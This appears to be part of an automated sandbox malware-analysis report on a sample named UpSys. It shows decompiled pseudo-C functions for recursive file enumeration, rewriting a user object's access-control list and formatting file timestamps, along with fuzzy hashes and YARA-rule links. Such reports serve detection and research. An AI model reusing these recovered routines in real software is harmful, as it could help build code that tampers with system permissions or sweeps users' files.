                                                                                                                                                                                                        0x14002e908
                                                                                                                                                                                                        0x14002e92d

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno$Heap$ErrorFileLastProcess__doserrno$AllocFreePointer
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3112900366-0
                                                                                                                                                                                                        • Opcode ID: bbffd1a4b9f8e57419d536efefd478e275c1015ff91dad33242f792697915243
                                                                                                                                                                                                        • Instruction ID: f358c5260b9874ff0323566c3d880dd995dc261f6f8a1fd91117d430068971c6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: bbffd1a4b9f8e57419d536efefd478e275c1015ff91dad33242f792697915243
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F141B2313109A046EA66AB7799043DD6391A74DBF0F44471AFF390B7F2DE38C8858301
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014004F070 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 98fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 44%
                                                                                                                                                                                                        			E0000000114004F070(long long __rcx, long long __rdx, long long __r8, void* __r9, intOrPtr _a8, intOrPtr _a16, intOrPtr _a24, intOrPtr _a32, intOrPtr _a40) {
				char _v588;
				signed char _v632;
				intOrPtr _v648;
				void* __rbx;
				void* __rsi;
				void* _t59;
				void* _t60;
				WCHAR* _t89;
				void* _t93;
				void* _t95;
				void* _t97;

				_t102 = __r9;
				_t59 = _t97;
				 *((intOrPtr*)(_t59 + 0x20)) = r9d;
				 *((long long*)(_t59 + 0x18)) = __r8;
				 *((long long*)(_t59 + 0x10)) = __rdx;
				 *((long long*)(_t59 + 8)) = __rcx;
				sil = 0;
				FindFirstFileW(_t89);
				if (_t59 == 0xffffffff) goto 0x4004f105;
				if (E00000001140017790( &_v588, ".") == 0) goto 0x4004f0f3;
				if (E00000001140017790( &_v588, L"..") == 0) goto 0x4004f0f3;
				r8d = r9d;
				if (E00000001140041170(_t60, _a24, _t93, __r9, _t93) == 0) goto 0x4004f123;
				sil = 1;
				if (FindNextFileW(_t95) != 0) goto 0x4004f0ad;
				FindClose(_t60);
				bpl = _a40;
				if (bpl != 0) goto 0x4004f133;
				goto 0x4004f1ee;
				FindClose(??);
				goto 0x4004f1ee;
				FindFirstFileW(??, ??);
				if (_t59 == 0xffffffff) goto 0x4004f1e1;
				if ((_v632 & 0x00000010) == 0) goto 0x4004f1cb;
				if (E00000001140017790( &_v588, ".") == 0) goto 0x4004f1cb;
				if (E00000001140017790( &_v588, L"..") == 0) goto 0x4004f1cb;
				SetCurrentDirectoryW(??);
				r9d = _a32;
				_v648 = bpl;
				E0000000114004F070(_a8, _a16, _a24, _t102);
				if (0 == 0) goto 0x4004f1e3;
				SetCurrentDirectoryW(??);
				if (FindNextFileW(??, ??) != 0) goto 0x4004f159;
				FindClose(??);
				return 1;
			}














                                                                                                                                                                                                        0x14004f070
                                                                                                                                                                                                        0x14004f070
                                                                                                                                                                                                        0x14004f073
                                                                                                                                                                                                        0x14004f077
                                                                                                                                                                                                        0x14004f07b
                                                                                                                                                                                                        0x14004f07f
                                                                                                                                                                                                        0x14004f09b
                                                                                                                                                                                                        0x14004f09e
                                                                                                                                                                                                        0x14004f0ab
                                                                                                                                                                                                        0x14004f0c0
                                                                                                                                                                                                        0x14004f0d5
                                                                                                                                                                                                        0x14004f0e4
                                                                                                                                                                                                        0x14004f0ee
                                                                                                                                                                                                        0x14004f0f0
                                                                                                                                                                                                        0x14004f103
                                                                                                                                                                                                        0x14004f108
                                                                                                                                                                                                        0x14004f10e
                                                                                                                                                                                                        0x14004f119
                                                                                                                                                                                                        0x14004f11e
                                                                                                                                                                                                        0x14004f126
                                                                                                                                                                                                        0x14004f12e
                                                                                                                                                                                                        0x14004f13f
                                                                                                                                                                                                        0x14004f14c
                                                                                                                                                                                                        0x14004f15e
                                                                                                                                                                                                        0x14004f173
                                                                                                                                                                                                        0x14004f188
                                                                                                                                                                                                        0x14004f18f
                                                                                                                                                                                                        0x14004f1ad
                                                                                                                                                                                                        0x14004f1b0
                                                                                                                                                                                                        0x14004f1b5
                                                                                                                                                                                                        0x14004f1bc
                                                                                                                                                                                                        0x14004f1c5
                                                                                                                                                                                                        0x14004f1db
                                                                                                                                                                                                        0x14004f1e6
                                                                                                                                                                                                        0x14004f1f9

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
                                                                                                                                                                                                        • String ID: *.*
                                                                                                                                                                                                        • API String ID: 2640511053-438819550
                                                                                                                                                                                                        • Opcode ID: 291be3abe780a948805ebdb03dc05b873192c333a0104f6fa5439a8771986230
                                                                                                                                                                                                        • Instruction ID: efd8c2c7ef9a156eb92b2c91902cae09105eb73ca3c8a695882371edc772bd39
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 291be3abe780a948805ebdb03dc05b873192c333a0104f6fa5439a8771986230
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0241D232209A8191EB629B16E8847FD63A0E38C7E4F814221FBAE437F4DF78C549D700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140052BE0 Relevance: 16.7, APIs: 11, Instructions: 168COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 33%
                                                                                                                                                                                                        			E00000001140052BE0(void* __ecx, void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rsi, void* __r8, void* __r9) {
				void* __rdi;
				long _t66;
				void* _t92;
				intOrPtr _t111;
				char* _t121;
				void* _t123;
				void* _t150;
				long long _t156;
				intOrPtr* _t158;
				signed long long _t161;
				void* _t162;
				signed long long _t176;
				void* _t178;
				char* _t180;
				struct _ACL* _t182;
				void* _t183;
				BOOL* _t185;
				struct _SECURITY_DESCRIPTOR* _t188;

				_t92 = __ecx;
				_t176 = _t161;
				 *((long long*)(_t176 + 8)) = __rbx;
				 *((long long*)(_t176 + 0x10)) = _t156;
				 *((long long*)(_t176 + 0x18)) = __rsi;
				_t162 = _t161 - 0x80;
				_t121 = _t176 - 0x38;
				_t183 = __r9;
				 *((long long*)(_t176 - 0x80)) = _t121;
				 *(_t162 + 0x20) = 0;
				_t123 = __rcx;
				 *(_t176 - 0x40) = _t150;
				 *(_t176 - 0x68) = _t150;
				 *(_t176 - 0x78) = _t150;
				 *((intOrPtr*)(_t162 + 0x38)) = 4;
				if (E00000001140043FE0(__rcx, __rdx, _t150, _t150, __r8, _t176 - 0x70, _t176 - 0x40) == dil) goto 0x40052e28;
				r9d =  *((intOrPtr*)(_t162 + 0x70));
				_t14 = _t150 + 1; // 0x1
				r15d = _t14;
				r8d = r15d;
				if (E00000001140043FA0(_t121, _t162 + 0x40) == dil) goto 0x40052e28;
				 *(_t162 + 0x58) = _t150;
				if (GetSecurityDescriptorDacl(_t188, _t185) == 0) goto 0x40052e28;
				_t21 = _t150 + 0xc; // 0xc
				r8d = _t21;
				E00000001140017520(_t63, _t92, 0, _t162 + 0x48, _t162 + 0x60, _t162 + 0x58);
				 *((intOrPtr*)(_t162 + 0x4c)) = 8;
				if ( *(_t162 + 0x58) == _t150) goto 0x40052ccf;
				_t25 = _t150 + 2; // 0x2
				r9d = _t25;
				_t26 = _t150 + 0xc; // 0xc
				r8d = _t26;
				if (GetAclInformation(_t182, _t178) == 0) goto 0x40052e28;
				_t66 = GetLengthSid(_t150);
				r9d = 2;
				r11d = _t66;
				_t31 = _t176 * 2; // 0x18
				r8d = _t121 + _t31 + 0x10;
				if (E00000001140043F50(_t121, _t123, _t162 + 0x30) == dil) goto 0x40052e28;
				if ( *((intOrPtr*)(_t162 + 0x60)) == 0) goto 0x40052d60;
				_t111 =  *((intOrPtr*)(_t162 + 0x48));
				if (_t111 == 0) goto 0x40052d60;
				if (_t111 <= 0) goto 0x40052d60;
				if (GetAce(??, ??, ??) == 0) goto 0x40052e28;
				r8d = r8d | 0xffffffff;
				 *(_t162 + 0x20) =  *( *((intOrPtr*)(_t162 + 0x30)) + 2) & 0x0000ffff;
				if (AddAce(??, ??, ??, ??, ??) == 0) goto 0x40052e28;
				if (0 + r15d -  *((intOrPtr*)(_t162 + 0x48)) < 0) goto 0x40052d15;
				GetLengthSid(??);
				_t42 = _t121 + 8; // 0x8
				E00000001140043B50();
				_t180 = _t121;
				if (_t121 == _t150) goto 0x40052e28;
				 *((short*)(_t121 + 2)) = _t42;
				GetLengthSid(??);
				if (CopySid(??, ??, ??) == 0) goto 0x40052e28;
				_t158 = _t183 + 4;
				r8d = r8d | 0xffffffff;
				 *_t180 =  *((intOrPtr*)(_t158 - 4));
				 *((char*)(_t180 + 1)) =  *((intOrPtr*)(_t158 - 3));
				 *((intOrPtr*)(_t180 + 4)) =  *_t158;
				 *(_t162 + 0x20) =  *(_t180 + 2) & 0x0000ffff;
				if (AddAce(??, ??, ??, ??, ??) == 0) goto 0x40052e28;
				if (0 + r15d - r15d < 0) goto 0x40052daa;
				r9d = 0;
				if (SetSecurityDescriptorDacl(??, ??, ??, ??) == 0) goto 0x40052e28;
				SetUserObjectSecurity(??, ??, ??);
				_t96 =  !=  ? r15d : dil & 0xffffffff;
				dil =  !=  ? r15d : dil & 0xffffffff;
				E00000001140043B80(_t121,  *((intOrPtr*)(_t162 + 0x68)));
				E00000001140043B80(_t121,  *((intOrPtr*)(_t162 + 0x40)));
				E00000001140043B80(_t121,  *((intOrPtr*)(_t162 + 0x30)));
				E00000001140043B80(_t121, _t180);
				return dil;
			}





















                                                                                                                                                                                                        0x140052be0
                                                                                                                                                                                                        0x140052be0
                                                                                                                                                                                                        0x140052be3
                                                                                                                                                                                                        0x140052be7
                                                                                                                                                                                                        0x140052beb
                                                                                                                                                                                                        0x140052bf8
                                                                                                                                                                                                        0x140052c01
                                                                                                                                                                                                        0x140052c05
                                                                                                                                                                                                        0x140052c0b
                                                                                                                                                                                                        0x140052c17
                                                                                                                                                                                                        0x140052c1e
                                                                                                                                                                                                        0x140052c21
                                                                                                                                                                                                        0x140052c25
                                                                                                                                                                                                        0x140052c2c
                                                                                                                                                                                                        0x140052c33
                                                                                                                                                                                                        0x140052c43
                                                                                                                                                                                                        0x140052c49
                                                                                                                                                                                                        0x140052c4e
                                                                                                                                                                                                        0x140052c4e
                                                                                                                                                                                                        0x140052c57
                                                                                                                                                                                                        0x140052c65
                                                                                                                                                                                                        0x140052c7f
                                                                                                                                                                                                        0x140052c8c
                                                                                                                                                                                                        0x140052c92
                                                                                                                                                                                                        0x140052c92
                                                                                                                                                                                                        0x140052c9d
                                                                                                                                                                                                        0x140052ca7
                                                                                                                                                                                                        0x140052cb2
                                                                                                                                                                                                        0x140052cb4
                                                                                                                                                                                                        0x140052cb4
                                                                                                                                                                                                        0x140052cb8
                                                                                                                                                                                                        0x140052cb8
                                                                                                                                                                                                        0x140052cc9
                                                                                                                                                                                                        0x140052cd2
                                                                                                                                                                                                        0x140052cdd
                                                                                                                                                                                                        0x140052ce3
                                                                                                                                                                                                        0x140052ced
                                                                                                                                                                                                        0x140052ced
                                                                                                                                                                                                        0x140052cff
                                                                                                                                                                                                        0x140052d09
                                                                                                                                                                                                        0x140052d0b
                                                                                                                                                                                                        0x140052d0f
                                                                                                                                                                                                        0x140052d13
                                                                                                                                                                                                        0x140052d29
                                                                                                                                                                                                        0x140052d34
                                                                                                                                                                                                        0x140052d45
                                                                                                                                                                                                        0x140052d51
                                                                                                                                                                                                        0x140052d5e
                                                                                                                                                                                                        0x140052d63
                                                                                                                                                                                                        0x140052d69
                                                                                                                                                                                                        0x140052d6e
                                                                                                                                                                                                        0x140052d73
                                                                                                                                                                                                        0x140052d79
                                                                                                                                                                                                        0x140052d82
                                                                                                                                                                                                        0x140052d86
                                                                                                                                                                                                        0x140052d9e
                                                                                                                                                                                                        0x140052da6
                                                                                                                                                                                                        0x140052db0
                                                                                                                                                                                                        0x140052db4
                                                                                                                                                                                                        0x140052dc0
                                                                                                                                                                                                        0x140052dcb
                                                                                                                                                                                                        0x140052dd6
                                                                                                                                                                                                        0x140052de2
                                                                                                                                                                                                        0x140052dee
                                                                                                                                                                                                        0x140052df5
                                                                                                                                                                                                        0x140052e06
                                                                                                                                                                                                        0x140052e15
                                                                                                                                                                                                        0x140052e21
                                                                                                                                                                                                        0x140052e25
                                                                                                                                                                                                        0x140052e2d
                                                                                                                                                                                                        0x140052e37
                                                                                                                                                                                                        0x140052e3f
                                                                                                                                                                                                        0x140052e47
                                                                                                                                                                                                        0x140052e6f

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1255039815-0
                                                                                                                                                                                                        • Opcode ID: dbfec3ab223e23f330ce7dd2c8d41efdfa722bc5e2e7aded07a5d2d67071a1e3
                                                                                                                                                                                                        • Instruction ID: dfa9be5c03b18508ec448bd120d50d3d812b57b581ccab6b29e1e21410e53422
                                                                                                                                                                                                        • Opcode Fuzzy Hash: dbfec3ab223e23f330ce7dd2c8d41efdfa722bc5e2e7aded07a5d2d67071a1e3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B861B033204A8096D722DF16E845BDDB7A5F789BC0F555112FB9A43BA8DF3AC849CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014008A730 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 174timefileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 63%
                                                                                                                                                                                                        			E0000000114008A730(void* __esi, long long __rbx, intOrPtr* __rcx, void* __rdx, void* __r8, void* __r9, long long _a8, long long _a16, long long _a32) {
				long long _v596;
				long long _v604;
				long long _v612;
				void* _v616;
				char _v656;
				long long _v664;
				signed int _v668;
				signed int _v670;
				signed int _v672;
				signed int _v674;
				signed int _v678;
				signed int _v680;
				signed int _v688;
				signed int _v696;
				signed int _v704;
				signed int _v712;
				void* __rdi;
				void* __rsi;
				void* _t62;
				signed int _t105;
				void* _t108;
				intOrPtr* _t113;
				intOrPtr* _t183;
				void* _t184;
				void* _t190;

				_t191 = __r9;
				_t190 = __r8;
				_t119 = __rbx;
				_a8 = __rbx;
				_t113 =  *((intOrPtr*)(__rdx + 8));
				_t183 = __rcx;
				_t184 = __rdx;
				E00000001140062190(_t113,  *_t113);
				FindFirstFileW(??, ??);
				if (_t113 == 0xffffffff) goto 0x4008a9e5;
				_v664 = _v612;
				_a32 = _v604;
				_a16 = _v596;
				FindClose(??);
				_t10 = _t119 + 1; // 0x1
				_t105 = _t10;
				_t108 =  *((intOrPtr*)(__rdx + 0x10)) - __rcx;
				if (_t108 <= 0) goto 0x4008a7bf;
				_t62 = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 8)));
				if (_t108 == 0) goto 0x4008a807;
				if (_t62 - _t105 == _t105) goto 0x4008a7e7;
				FileTimeToLocalFileTime(??, ??);
				goto 0x4008a81c;
				FileTimeToLocalFileTime(??, ??);
				goto 0x4008a81c;
				FileTimeToLocalFileTime(??, ??);
				FileTimeToSystemTime(??, ??);
				if ( *((long long*)(__rdx + 0x10)) - 2 <= 0) goto 0x4008a88a;
				_t118 =  *((intOrPtr*)(__rdx + 8));
				if (E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x10))) != _t105) goto 0x4008a88a;
				r10d = _v674 & 0x0000ffff;
				r9d = _v678 & 0x0000ffff;
				r8d = _v680 & 0x0000ffff;
				_v688 = _v668 & 0x0000ffff;
				_v696 = _v670 & 0x0000ffff;
				_v704 = _v672 & 0x0000ffff;
				_v712 = r10d;
				E000000011400178DC( *((intOrPtr*)(__rdx + 8)),  &_v656, L"%4d%02d%02d%02d%02d%02d", __r8, __r9);
				goto 0x4008a9d9;
				r8d = 6;
				E00000001140012B40(_t105, __r8, L"%4d%02d%02d%02d%02d%02d", _t184, __r8, _t191);
				r9d = 0;
				r8d = _t105;
				E00000001140011400(0, __rbx, __r8, __rcx, _t184, _t191);
				r8d = _v680 & 0x0000ffff;
				E000000011400178DC(_t118,  &_v656, 0x400a14a0, __r8, _t191);
				E00000001140012D80(0, _t118, _t118, _t118,  &_v656, _t184, __r8);
				r9d = _t105;
				r8d = _t105;
				E00000001140011400(0, _t118, __r8, _t183, _t184, _t191);
				r8d = _v678 & 0x0000ffff;
				_t185 = L"%02d";
				E000000011400178DC(_t118,  &_v656, L"%02d", __r8, _t191);
				E00000001140012D80(0, _t118, _t118, _t118,  &_v656, L"%02d", __r8);
				r9d = 2;
				r8d = _t105;
				E00000001140011400(0, _t118, __r8, _t183, L"%02d", _t191);
				r8d = _v674 & 0x0000ffff;
				E000000011400178DC(_t118,  &_v656, L"%02d", __r8, _t191);
				E00000001140012D80(0, _t118, _t118, _t118,  &_v656, L"%02d", __r8);
				r9d = 3;
				r8d = _t105;
				E00000001140011400(0, _t118, __r8, _t183, _t185, _t191);
				r8d = _v672 & 0x0000ffff;
				E000000011400178DC(_t118,  &_v656, _t185, __r8, _t191);
				E00000001140012D80(0, _t118, _t118, _t118,  &_v656, _t185, __r8);
				r9d = 4;
				r8d = _t105;
				E00000001140011400(0, _t118, __r8, _t183, _t185, _t191);
				r8d = _v670 & 0x0000ffff;
				E000000011400178DC(_t118,  &_v656, _t185, __r8, _t191);
				E00000001140012D80(0, _t118, _t118, _t118,  &_v656, _t185, __r8);
				r9d = 5;
				r8d = _t105;
				E00000001140011400(0, _t118, __r8, _t183, _t185, _t191);
				r8d = _v668 & 0x0000ffff;
				E000000011400178DC(_t118,  &_v656, _t185, __r8, _t191);
				E00000001140012D80(0, _t118, _t118, _t118,  &_v656, _t185, __r8);
				goto 0x4008aa0a;
				E00000001140012D80(0, _t118, _t118, __r8, 0x4009b6c0, _t185, __r8);
				r8d = 0;
				_t57 = _t190 + 1; // 0x1
				E0000000114000FCA0(_t57, _t118, _t118,  *((intOrPtr*)( *_t183 + 4)) + _t183, _t185);
				return 0;
			}




























                                                                                                                                                                                                        0x14008a730
                                                                                                                                                                                                        0x14008a730
                                                                                                                                                                                                        0x14008a730
                                                                                                                                                                                                        0x14008a730
                                                                                                                                                                                                        0x14008a73f
                                                                                                                                                                                                        0x14008a743
                                                                                                                                                                                                        0x14008a74c
                                                                                                                                                                                                        0x14008a751
                                                                                                                                                                                                        0x14008a761
                                                                                                                                                                                                        0x14008a76e
                                                                                                                                                                                                        0x14008a77c
                                                                                                                                                                                                        0x14008a789
                                                                                                                                                                                                        0x14008a799
                                                                                                                                                                                                        0x14008a7a1
                                                                                                                                                                                                        0x14008a7a7
                                                                                                                                                                                                        0x14008a7a7
                                                                                                                                                                                                        0x14008a7aa
                                                                                                                                                                                                        0x14008a7ae
                                                                                                                                                                                                        0x14008a7b8
                                                                                                                                                                                                        0x14008a7c1
                                                                                                                                                                                                        0x14008a7c5
                                                                                                                                                                                                        0x14008a7d7
                                                                                                                                                                                                        0x14008a7e5
                                                                                                                                                                                                        0x14008a7f7
                                                                                                                                                                                                        0x14008a805
                                                                                                                                                                                                        0x14008a811
                                                                                                                                                                                                        0x14008a821
                                                                                                                                                                                                        0x14008a82c
                                                                                                                                                                                                        0x14008a82e
                                                                                                                                                                                                        0x14008a83d
                                                                                                                                                                                                        0x14008a84e
                                                                                                                                                                                                        0x14008a854
                                                                                                                                                                                                        0x14008a85a
                                                                                                                                                                                                        0x14008a860
                                                                                                                                                                                                        0x14008a864
                                                                                                                                                                                                        0x14008a868
                                                                                                                                                                                                        0x14008a878
                                                                                                                                                                                                        0x14008a87d
                                                                                                                                                                                                        0x14008a885
                                                                                                                                                                                                        0x14008a88a
                                                                                                                                                                                                        0x14008a895
                                                                                                                                                                                                        0x14008a89a
                                                                                                                                                                                                        0x14008a89d
                                                                                                                                                                                                        0x14008a8a5
                                                                                                                                                                                                        0x14008a8aa
                                                                                                                                                                                                        0x14008a8bf
                                                                                                                                                                                                        0x14008a8cc
                                                                                                                                                                                                        0x14008a8d1
                                                                                                                                                                                                        0x14008a8d4
                                                                                                                                                                                                        0x14008a8dc
                                                                                                                                                                                                        0x14008a8e1
                                                                                                                                                                                                        0x14008a8e7
                                                                                                                                                                                                        0x14008a8f9
                                                                                                                                                                                                        0x14008a906
                                                                                                                                                                                                        0x14008a90b
                                                                                                                                                                                                        0x14008a911
                                                                                                                                                                                                        0x14008a919
                                                                                                                                                                                                        0x14008a91e
                                                                                                                                                                                                        0x14008a92f
                                                                                                                                                                                                        0x14008a93c
                                                                                                                                                                                                        0x14008a941
                                                                                                                                                                                                        0x14008a947
                                                                                                                                                                                                        0x14008a94f
                                                                                                                                                                                                        0x14008a954
                                                                                                                                                                                                        0x14008a965
                                                                                                                                                                                                        0x14008a972
                                                                                                                                                                                                        0x14008a977
                                                                                                                                                                                                        0x14008a97d
                                                                                                                                                                                                        0x14008a985
                                                                                                                                                                                                        0x14008a98a
                                                                                                                                                                                                        0x14008a99b
                                                                                                                                                                                                        0x14008a9a8
                                                                                                                                                                                                        0x14008a9ad
                                                                                                                                                                                                        0x14008a9b3
                                                                                                                                                                                                        0x14008a9bb
                                                                                                                                                                                                        0x14008a9c0
                                                                                                                                                                                                        0x14008a9d1
                                                                                                                                                                                                        0x14008a9de
                                                                                                                                                                                                        0x14008a9e3
                                                                                                                                                                                                        0x14008a9ef
                                                                                                                                                                                                        0x14008a9f7
                                                                                                                                                                                                        0x14008a9fe
                                                                                                                                                                                                        0x14008aa05
                                                                                                                                                                                                        0x14008aa1e

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FileTime$FindLocal$CloseFirstSystem_errno
                                                                                                                                                                                                        • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                                                                                                                                                                                        • API String ID: 4285482540-2428617273
                                                                                                                                                                                                        • Opcode ID: 9ae5511fc785e79a4e5054247484cc356504b3d5be945e66f4c76d04d4c32c7c
                                                                                                                                                                                                        • Instruction ID: ca3ac1172bd23c40a9f642683a7bd37c33b1974aa572055af225280770077505
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9ae5511fc785e79a4e5054247484cc356504b3d5be945e66f4c76d04d4c32c7c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 43718D32304A9285EA25DB53F4407EAA721E7C9BD0F444021FB8E4BAAAEF7DC145CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400407D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 66shutdownCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
